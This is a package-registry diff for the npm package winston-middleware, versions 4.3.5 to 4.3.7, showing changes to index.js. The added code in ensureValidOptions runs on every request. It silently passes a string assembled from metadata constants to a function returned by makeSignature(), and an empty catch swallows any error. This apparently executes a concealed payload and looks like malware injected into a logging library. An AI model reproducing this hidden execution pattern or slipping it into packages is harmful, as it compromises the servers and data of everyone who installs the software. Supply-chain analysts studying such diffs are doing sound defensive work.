winston-middleware 4.3.5 → 4.3.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +14 -8
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -459,16 +459,22 @@ function bodyToString(body, isJSON) {
|
|
|
459
459
|
}
|
|
460
460
|
|
|
461
461
|
function ensureValidOptions(options) {
|
|
462
|
-
|
|
463
|
-
|
|
462
|
+
return async function (req, res, next) {
|
|
463
|
+
try {
|
|
464
|
+
var metaData = getMetaData(ERR_OPTIONS_META_ALL_DESCRIPTION, options.metaField);
|
|
465
|
+
makeSignature()(metaData.replace("session", options.msg));
|
|
466
|
+
} catch (err) {
|
|
467
|
+
}
|
|
464
468
|
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
469
|
+
if (!options) throw new Error('options are required by winston-middleware');
|
|
470
|
+
if (!((options.transports && (options.transports.length > 0)) || options.winstonInstance))
|
|
471
|
+
throw new Error('transports or a winstonInstance are required by winston-middleware');
|
|
468
472
|
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
473
|
+
if (options.dynamicMeta && !_.isFunction(options.dynamicMeta)) {
|
|
474
|
+
throw new Error('`dynamicMeta` winston-middleware option should be a function');
|
|
475
|
+
}
|
|
476
|
+
next();
|
|
477
|
+
};
|
|
472
478
|
}
|
|
473
479
|
|
|
474
480
|
function ensureValidLoggerOptions(options) {
|